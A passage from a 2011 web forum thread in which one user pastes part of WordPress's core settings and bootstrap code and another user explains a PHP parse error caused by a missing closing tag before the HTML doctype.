    if ( $dh = opendir( WPMU_PLUGIN_DIR ) ) {
    while ( ( $plugin = readdir( $dh ) ) !== false ) {
    if ( substr( $plugin, -4 ) == '.php' ) {
    include_once( WPMU_PLUGIN_DIR . '/' . $plugin );
    }
    }
    }
    }
    do_action('muplugins_loaded');


    /**
    * Used to guarantee unique hash cookies
    * @since 1.5
    */
    define('COOKIEHASH', md5(get_option('siteurl')));


    /**
    * Should be exactly the same as the default value of SECRET_KEY in wp-config-sample.php
    * @since 2.5.0
    */
    $wp_default_secret_key = 'put your unique phrase here';


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('USER_COOKIE') )
    define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('PASS_COOKIE') )
    define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.5.0
    */
    if ( !defined('AUTH_COOKIE') )
    define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('SECURE_AUTH_COOKIE') )
    define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('LOGGED_IN_COOKIE') )
    define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.3.0
    */
    if ( !defined('TEST_COOKIE') )
    define('TEST_COOKIE', 'wordpress_test_cookie');


    /**
    * It is possible to define this in wp-config.php
    * @since 1.2.0
    */
    if ( !defined('COOKIEPATH') )
    define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) );


    /**
    * It is possible to define this in wp-config.php
    * @since 1.5.0
    */
    if ( !defined('SITECOOKIEPATH') )
    define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('ADMIN_COOKIE_PATH') )
    define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('PLUGINS_COOKIE_PATH') )
    define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL) );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('COOKIE_DOMAIN') )
    define('COOKIE_DOMAIN', false);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('FORCE_SSL_ADMIN') )
    define('FORCE_SSL_ADMIN', false);
    force_ssl_admin(FORCE_SSL_ADMIN);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('FORCE_SSL_LOGIN') )
    define('FORCE_SSL_LOGIN', false);
    force_ssl_login(FORCE_SSL_LOGIN);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.5.0
    */
    if ( !defined( 'AUTOSAVE_INTERVAL' ) )
    define( 'AUTOSAVE_INTERVAL', 60 );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.9.0
    */
    if ( !defined( 'EMPTY_TRASH_DAYS' ) )
    define( 'EMPTY_TRASH_DAYS', 30 );


    require (ABSPATH . WPINC . '/vars.php');


    // make taxonomies available to plugins and themes
    // @plugin authors: warning: this gets registered again on the init hook
    create_initial_taxonomies();


    // Check for hacks file if the option is enabled
    if ( get_option('hack_file') ) {
    if ( file_exists(ABSPATH . 'my-hacks.php') )
    require(ABSPATH . 'my-hacks.php');
    }


    $current_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
    if ( is_array($current_plugins) && !defined('WP_INSTALLING') ) {
    foreach ( $current_plugins as $plugin ) {
    // check the $plugin filename
    // Validate plugin filename
    if ( validate_file($plugin) // $plugin must validate as file
    || '.php' != substr($plugin, -4) // $plugin must end with '.php'
    || !file_exists(WP_PLUGIN_DIR . '/' . $plugin) // $plugin must exist
    )
    continue;


    include_once(WP_PLUGIN_DIR . '/' . $plugin);
    }
    unset($plugin);
    }
    unset($current_plugins);


    require (ABSPATH . WPINC . '/pluggable.php');


    /*
    * In most cases the default internal encoding is latin1, which is of no use,
    * since we want to use the mb_ functions for utf-8 strings
    */
    if (function_exists('mb_internal_encoding')) {
    if (!@mb_internal_encoding(get_option('blog_charset')))
    mb_internal_encoding('UTF-8');
    }




    if ( defined('WP_CACHE') && function_exists('wp_cache_postload') )
    wp_cache_postload();


    do_action('plugins_loaded');


    $default_constants = array( 'WP_POST_REVISIONS' => true );
    foreach ( $default_constants as $c => $v )
    @define( $c, $v ); // will fail if the constant is already defined
    unset($default_constants, $c, $v);


    // If already slashed, strip.
    if ( get_magic_quotes_gpc() ) {
    $_GET = stripslashes_deep($_GET );
    $_POST = stripslashes_deep($_POST );
    $_COOKIE = stripslashes_deep($_COOKIE);
    }


    // Escape with wpdb.
    $_GET = add_magic_quotes($_GET );
    $_POST = add_magic_quotes($_POST );
    $_COOKIE = add_magic_quotes($_COOKIE);
    $_SERVER = add_magic_quotes($_SERVER);


    // Force REQUEST to be GET + POST. If SERVER, COOKIE, or ENV are needed, use those superglobals directly.
    $_REQUEST = array_merge($_GET, $_POST);


    do_action('sanitize_comment_cookies');


    /**
    * WordPress Query object
    * @global object $wp_the_query
    * @since 2.0.0
    */
    $wp_the_query =& new WP_Query();


    /**
    * Holds the reference to @see $wp_the_query
    * Use this global for WordPress queries
    * @global object $wp_query
    * @since 1.5.0
    */
    $wp_query =& $wp_the_query;


    /**
    * Holds the WordPress Rewrite object for creating pretty URLs
    * @global object $wp_rewrite
    * @since 1.5.0
    */
    $wp_rewrite =& new WP_Rewrite();


    /**
    * WordPress Object
    * @global object $wp
    * @since 2.0.0
    */
    $wp =& new WP();


    /**
    * WordPress Widget Factory Object
    * @global object $wp_widget_factory
    * @since 2.8.0
    */
    $wp_widget_factory =& new WP_Widget_Factory();


    do_action('setup_theme');


    /**
    * Web Path to the current active template directory
    * @since 1.5.0
    */
    define('TEMPLATEPATH', get_template_directory());


    /**
    * Web Path to the current active template stylesheet directory
    * @since 2.1.0
    */
    define('STYLESHEETPATH', get_stylesheet_directory());


    // Load the default text localization domain.
    load_default_textdomain();


    /**
    * The locale of the blog
    * @since 1.5.0
    */
    $locale = get_locale();
    $locale_file = WP_LANG_DIR . "/$locale.php";
    if ( is_readable($locale_file) )
    require_once($locale_file);


    // Pull in locale data after loading text domain.
    require_once(ABSPATH . WPINC . '/locale.php');


    /**
    * WordPress Locale object for loading locale domain date and various strings.
    * @global object $wp_locale
    * @since 2.1.0
    */
    $wp_locale =& new WP_Locale();


    // Load functions for active theme.
    if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists(STYLESHEETPATH . '/functions.php') )
    include(STYLESHEETPATH . '/functions.php');
    if ( file_exists(TEMPLATEPATH . '/functions.php') )
    include(TEMPLATEPATH . '/functions.php');


    // Load in support for template functions which the theme supports
    require_if_theme_supports( 'post-thumbnails', ABSPATH . WPINC . '/post-thumbnail-template.php' );


    /**
    * Runs just before PHP shuts down execution.
    *
    * @access private
    * @since 1.2.0
    */
    function shutdown_action_hook() {
    do_action('shutdown');
    wp_cache_close();
    }
    register_shutdown_function('shutdown_action_hook');


    $wp->init(); // Sets up current user.


    // Everything is loaded and initialized.
    do_action('init');
     
    johnsonasu35, Aug 29, 2011 IP
  20. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #20
    All the errors in this thread, including yours, are basically the same. In yours, find

    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>

    (I see it as lines 150-156 in my editor). Change it to

    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );
    ?>

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>

    You're missing a closing tag (?>). "<!DOCTYPE ..." isn't valid PHP syntax.
     
    Rukbat, Aug 30, 2011 IP